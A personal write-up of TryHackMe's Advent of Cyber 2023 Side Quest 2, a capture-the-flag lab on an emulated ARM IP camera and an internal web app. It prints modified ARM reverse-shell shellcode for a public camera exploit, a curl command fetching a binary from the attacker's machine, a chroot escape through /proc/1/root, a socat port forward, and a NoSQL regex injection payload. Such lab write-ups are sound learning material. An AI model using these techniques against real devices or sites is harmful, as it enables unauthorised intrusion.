hubertf's Writeup on TryHackMe's Advent of Cyber 2023
Side Quest 2: Snowy ARMageddon
Hubert Feyrer, December 2023

[Please also see latest updates as of Jan 2nd 2024 below!]

Getting into the side quest

  1. Task 12 on day 6 was titled "Memory corruption Memories of Christmas Past". I'll not go into solving that task, but rather go from the hint given there:

  2. Poking in day 6's game memory similar to solving the main task did not get me anywhere, and was just a waste of time.
  3. Instead, I looked into the game's source code, and especially the file "index.data.gz" loaded from there.
  4. Digging deeper, this seemed to be an archive of files, given with their name, and starting and ending byte in the archive. One such filename looks interesting:
    "filename": "/assets/qr.map",
    "start": 1656484,
    "end": 1689911 
  5. So let's try to uncompress the file, and the use Unix' dd-tool to do the extraction: gzcat index.data.gz | dd bs=1 skip=1656484 count=`expr 1689911 - 1656484` > qr.map
    Isn't it neat that dd is of such convenience for this job?
  6. Looking at the file, it looked like there's a QR code hiding in there. After removing some unneeded data, picking only the interesting remains and formatting things really gave me a QR code that was easy to scan (obfuscated here to not spill the beans):

  7. There we go, the QR code gives the URL for side quest 2.

Objectives

  1. In contrast to the first SQ, this one had at least sime clear directions to give: ``Your main target? Access that internal-only web application. That's where the juicy stuff is hidden.''
  2. In exchange for that, the questions on the room's page were not very specific, asking for a flag and the contents of yet another yetikey TXT file.

Solving the side quest

Part 1: 50628/tcp Trivision Wireless Streaming Video IP Network Camera

  1. After starting the given VM, first thing was to run nmap:
    PORT     STATE SERVICE    REASON         VERSION
    22/tcp   open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
    23/tcp   open  tcpwrapped syn-ack ttl 62
    8080/tcp open  http       syn-ack ttl 62 Apache httpd 2.4.57 ((Debian))
    50628/tcp  Trivision Wireless Streaming Video IP Network Camera NC-227WF HD 720P 
  2. Searching the internet reveiled that the Trivision Wireless Streaming Video IP Network Camera is not exactly knwn for its good security. Instead, there seems to be a known security vulnerability described e.g. in the article ARM-X Challenge: Breaking the webs.
  3. So the camera has an ARM CPU, and now the challenge's name makes sense.
  4. The website given above has a ready-made exploit. Well, almost ready-made: besides local and remote IP and ports in the script, the local IP address is also needed in the ARM exploit code. This is where the fun begins!
  5. There is a very convenient Online Assembler and Disassembler. This can be used to turn the binary machine code back into human readable code.
  6. First, take the following line from the exploit:
    SC += b'\x59\x1f\xa0\xe3\x01\x14\xa0\xe1\xa8\x10\x81\xe2\x01\x14\xa0\xe1\xc0\x10\x81\xe2\x04\x10\x2d\xe5'   # 192.168.100.1
  7. Next, put the binary string between the b'' into the disassembler. Make sure "ARM" CPU and "Little Endian" are selected. This will give the machine code that puts the given IP address on the stack.

  8. reading the code, it first puts 0x164 into register R1. That's little endian for the .1 of the IP, followed by .100. LSL shifts by 8 bits, making space for the next byte, 0xa8 = decimal 168. After yet another shift, 0xc0 = decimal 192 is added.
  9. So to get things working, this needs adaption from 192.168.100.1 to our local IP, 10.9.148.48. Easy, isn't it?
  10. Well, almost! There is one quirk in the exploit script, that mandates that certain special characters, which cannot be passed via an URL, need to be avoided. As a result, e.g. decimal number 10 cannot be given as such, but needs to be given as 5+5, and decimal number 9 is given as 3+6. Not too hard.
  11. The resulting ARM machine code is:
    mov r1, #0x30          <= 48
    lsl r1, r1, #8
    add r1, r1, #0x94      <= 148
    lsl r1, r1, #8
    add r1, r1, #0x03      <= 3
    add r1, r1, #0x06         + 6 = 9
    lsl r1, r1, #8
    add r1, r1, #0x05      <= 5
    add r1, r1, #0x05         + 5 = 10
    str r1, [sp, #-4]!
  12. Using the above online assembler, this can be turned back into machine language

  13. The string given for Little Endian is then put back into the above exploit script:
    SC += b'\x30\x10\xa0\xe3\x01\x14\xa0\xe1\x94\x10\x81\xe2\x01\x14\xa0\xe1\x03\x10\x81\xe2\x06\x10\x81\xe2\x01\x14\xa0\xe1\x05\x10\x81\xe2\x05\x10\x81\xe2\x04\x10\x2d\xe5' # HF: 10.9.148.48
  14. If we did everything right and run the exploit, it will give us an interactive shell:
    % python3 e2.py
    -> [*] Switching to interactive mode
    $ 
  15. We have a shell now. On a webcam. Isn't that great? :-)
  16. What followed for me was a tour around the system, which I will not repeat here, but focus on the actual job. After all, there are still two flags to find!
  17. Looking around on the system, there is code in a file under /.emux/.nfssomething that changes a password in the system's /var/etc/umconfig.txt file:
    sed -i 's/password=admin/password=Y3**********us&/' /var/etc/umconfig.txt
  18. Nice, we have the login and password for the webcam's web login on the screen. Let's go and try and see.... that it doesn't work. Why? That's because of the "&" in the sed regular expression. Instead of putting the ampersand in place, it's replaced with the previously matched regular expression.
  19. Looking into /var/etc/umconfig.txt confirms this, and the password form there gets us into the webcam.

  20. The webcam screen gives us the first flag - yai!
  21. But that's only half of the job so far! There is much more to be discovered on the webcam, e.g. a chroot that can be escaped - but there is no other flag, so let's move on.

Part 2a: 8080/tcp Apache httpd 2.4.57 ((Debian)) - INTENDED SOLUTION

  1. The following steps reflect how to go on with SQ2 in the setting that is still available after AoC. There was another possible solution during AoC, but that was not intended. For documentation purpose that is still available in part 2b. The following describes the intended solution that also works after AoC.
  2. I've mentioned above that our exploit on the webcam actually runs inside a chroot, and that it is possible to break out of it. For the following, this is neccessary.
  3. Running "ps" in our shell shows a number of processes, e.g. for /root/test-eth0.sh script. But that file is not present, hinting that there may be more processes outside our file system space.
    $ ps | grep /root/test
     6046 root      1804 S    /bin/sh -c sleep 30; /root/test-eth0.sh >/dev/null 2
     6050 root      1804 S    /bin/sh -c sleep 40; /root/test-eth0.sh >/dev/null 2
     6055 root      1804 S    /bin/sh -c sleep 50; /root/test-eth0.sh >/dev/null 2
    $ ls -la /root/test-eth0.sh
    ls: /root/test-eth0.sh: No such file or directory 
  4. As we do see the processes, it may be that we are running with a changed / (root) directory, hence the name - also from the system call and command.
  5. To clarify, there is a nice way on Linux: Each process has its data available in /proc, and for a processes / directory, there is a symbolic link in /proc/<pid>/root. Which you could start a new process with its root now, using the chroot command.
  6. Which process to try? Well, how about the first one that the system starts up with on boot, most likely in the "real" root directory - process ID 1.
  7. Now all this is nice in theory, but - there is no "chroot" command available.
    $ chroot
    chroot: applet not found 
  8. So let's get a chroot binary as part of busybox from the Internet. I download "busybox-armv5l" on my kali machine, and start up a local webserver for download:
    kali @ kali% curl -o busybox-armv5l https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100 1083k  100 1083k    0     0   546k      0  0:00:01  0:00:01 --:--:--  546k
    kali @ kali% python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  9. Now in our shell on the webcam, we can grab the binary and run it:
    $ mkdir /hf
    $ cd /hf
    $ curl -o busybox http://10.9.148.48/busybox-armv5l
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100 1083k  100 1083k    0     0   962k      0  0:00:01  0:00:01 --:--:--  963k
    $ chmod +x busybox
    $ /hf/busybox chroot /proc/1/root    <-- chroot escape
    /bin/sh: can't access tty; job control turned off
    / # $ ls /root
    index.html
    test-eth0.sh
    / # $
  10. Now all of a sudden, there is a file "test-eth0.sh" in the /root directory. Magic? No - chroot escape!
  11. Looking at the named /root/test-eth0.sh script shows that it's checking the network connection, and also restarts the webcam's webserver "webs" inside the camera's chroot:
    / # $ cat /root/test-eth0.sh
    #!/bin/sh
    status=`/sbin/ifconfig eth0 | grep '192.168.100.2'`
    address=`/sbin/ifconfig eth0 | grep 'UP'`
    if [ "$status" = "" ] || [ "$address" = "" ]
    then
       echo "`date`: eth0 down, bringing it up again" >> /tmp/eth0.log
       echo "`date`: eth0 down, bringing it up again" > /dev/console
       /sbin/ifconfig eth0 up
       /sbin/ifconfig eth0 192.168.100.2 netmask 255.255.255.0 up
       route add default gw 192.168.100.1
    fi
    chroot /emux/TRI227WF/rootfs rm /bin/mount
    chroot /emux/TRI227WF/rootfs rm -rf /.emux
    url="http://192.168.100.2"
    if wget -T 2 "$url" 2>&1 | grep  "error"; then
        echo "webs is down - restarting"
        chroot /emux/TRI227WF/rootfs webs &
    fi
  12. Further investigations via the process' parent process show that those scripts come from cron. This will become relevant below:

  13. Now, where to go from here? Let's go one step back:
  14. When looking at the webserver on port 80 from the kali attack box, it gives a "403 Forbidden" error (first image), while we get a "401 Unauthorized" error when coming from the webcam (second image):

  15. This could be a hint that while it is not possible to get to the webpage from outside, it may be possible from inside. IF the proper authorization can be found!
  16. Now, while using curl is all fine, getting something a bit more usable would be good, especially for process automation, e.g. with burp.
  17. Theory is: we need something on the webcam that takes our requests, and forwards it to port 8080 on the inside.
  18. First question: What tool to use? That one's easy AND available on the webcam's main system (outside chroot): socat. It can create a listener on the webcam, and forward all requests to port 8080.
  19. Now, which port to use? Unfortunately, this cannot be chosen at random. The EMUX software running the webcam as an emulation only forwards a few ports. Actually, it seems there is only ONE port forwarded from the webcam to the outside: the webcam's web interface itself on port 50628.
  20. But... well.... that is already running. And we cannot add a second service to the port. Can we share it? Nope. So, there is just one way: kill it, and start our own service.
  21. But be careful - that same web service is the one that we used in our exploit in part 1. If we kill the webserver, we will not be able to get into the system any more! So be careful, maybe fire up a few more shells on the webcam, just in case.
  22. Looking at the cron script above, there is also a limited timeframe of about 10 seconds, after which there will be a check if the webserver is running, and if not it will be restarted again. So we have about 10 seconds to kill the webserver, and start socat. Sounds doable:
    / # $ pkill webs ; socat -v -v tcp-listen:50628,fork,reuseaddr tcp:10.10.10.110:8080
  23. Another word of warning: I have tried disabling the test-eth.0 cronjobs, and also cron itself. This got me so many sessions killed, to the point that I had to restart the SQ2 VM several times. After a few attempts I decided it's not worth persuing, and that it's easier to just make sure the commands above are within 10 seconds. Which is a lot easier.
  24. If our theory is right, we can now access http://10.10.10.110:50628/ and not get the webcam but the webpage that we've seen on port 8080 before. Let's verify! (Actually, I have added yet another socat instance forwarding port 4445 of my kalibox to the above URL, so I can use my main work station, hence the URL used here is http://kalibox:4445):

  25. Now that error is a bit unexpected. What's happening? The EMUX emulation systen runs the port forwarding of port 50628, and apparently it uses HTTP Basic Authentication. To get around this, the appropriate HTTP header can be constructed with DebugBear's "Basic Auth Header Generator". When adding the HTTP "Authorization" header with the webcam's username and passwort from part one, things work as expected:
  26. Now, what a wonderful login box. But how to get in? Here the strategy from Part 2b described below can be used: Previous enumeration hinted at a NoSQL database, and feeding NoSQL Injections into the web form helped.
  27. Trying to guess username and password using NoSQL injections, I got an actual "Invalid username or password" when my guess was wrong, but no display of that text when I hit a proper character. Starting with regular expressions for starting with a, b, ... A, Z, ... and then slowly moved until things fell into shape. Here is an example request:

    username[$eq]=XXX&password[$regex]=X.*
  28. If this was with a SQL database, sqlmap would be the tool of the trade. Looking for a "nosqlmap" I actually found one, but that didn't work as expected so this was manual work.
  29. In the end I gave it a username/password combination that didn't get me neither "Invalid username..." nor no message. Instead, I got redirected to the system's / page.
  30. I was not sure what that meant, but in the end I tried going to .../index.php/ (note the trailing slash!), and all of a sudden I was logged in. Not much to explain here by rational means, but that's how things work here.

  31. Now after being logged in, we are shown two important notes. There is the missing flag and yetikey2.txt.
  32. Congratuilations, side quest 2 solved, again.

Part 2b: 8080/tcp Apache httpd 2.4.57 ((Debian)) - UNINTENDED SOLUTION

  1. During AoC, more than one solutions were possible for SQ2. Unfortunately the one that I used was not intended, and as such after submitting my writeup I was asked to update it to reflect the intended way. This is described in part 2a above. For documentation purpose, the following describes the solution that was possible during AoC but was not intended.
  2. The webserver on port 8080 got the usual treatment of dirb(uster), hydra, sqlmap and whatnot - all just a waste of time.
  3. Also, where to try? After quite some searching, it turned out there is a login form at .../login.php/ (note the trailing slash). Not so obvious, but still a login mask.
  4. Rumours reached me that this may actually not be a (My)SQL database, but some NoSQL database. As such, a different tactic was called for.
  5. When looking at websites, I usually prefer using "curl" to "burpsuite", but in this case it was more useful - manipulating the request, and seeing the result in rendered form.
  6. Trying to guess username and password using NoSQL injections, I got an actual "Invalid username or password" when my guess was wrong, but no display of that text when I hit a proper character. Starting with regular expressions for starting with a, b, ... A, Z, ... and then slowly moved until things fell into shape. Here is an example request:

    username[$eq]=XXX&password[$regex]=X.*
  7. If this was with a SQL database, sqlmap would be the tool of the trade. Looking for a "nosqlmap" I actually found one, but that didn't work as expected so this was manual work.
  8. In the end I gave it a username/password combination that didn't get me neither "Invalid username..." nor no message. Instead, I got redirected to the system's / page.
  9. I was not sure what that meant, but in the end I tried going to .../index.php/ (note the trailing slash!), and all of a sudden I was logged in. Not much to explain here by rational means, but that's how things work here.

  10. Now after being logged in, we are shown two important notes. There is the missing flag and yetikey2.txt.
  11. Congratuilations, side quest 2 solved!

Summary

  1. This side quests were actually two very different quests.
  2. In the first part, a webcam was hacked using ARM machine language (and an existing exploit - kudos!).
  3. In the second part, port forwarding and NoSQL injection technics were used to guess into the web application. The first part needed some care to get through EMUX' system, the second was rather straight forward. What made things complicated that the order of things was not obvious at all, starting with PHP files with a slash at the end to getting randomly redirected and then needing to go to the right URL then manually.
  4. The second part was not one of my favorites as it involved too much guesswork. But the first part made up for this and it is still my most favorite part of AoC - hacking into a webcam using ARM machine language. :-)
  5. What also took me time was updating this writeup after the system was changed _after_ AoC was done. Maybe some more testing before next year's AoC can prevent his.

Updates

  1. Update Dec 28th 2023: I'm being told the VM was changed after the end of AoC. During AoC the attack on the web app was possible from either the Internet or from the web cam. Now, attacks to the web app are only possible from the web cam. No official information of what was changed is available as of this writing, only in the form of accepted writeups (example). I am currently traveling (#37c3) and will investigate and update the writeup where found appropriate when time permits and I have access to the proper ressources.
  2. Update Jan 2nd 2024: I've had a look at what the system is now, and updated the description above. The first, unintended solution is kept in part 2b, while the one that now still works after AoC is in part 2a. Part 1 is unchanged. Enjoy!

This page has been accessed 2985 times.
Copyright (c) 2023-2024 Hubert Feyrer
$Id: index.html,v 1.25 2024/01/02 01:30:33 feh39068 Exp $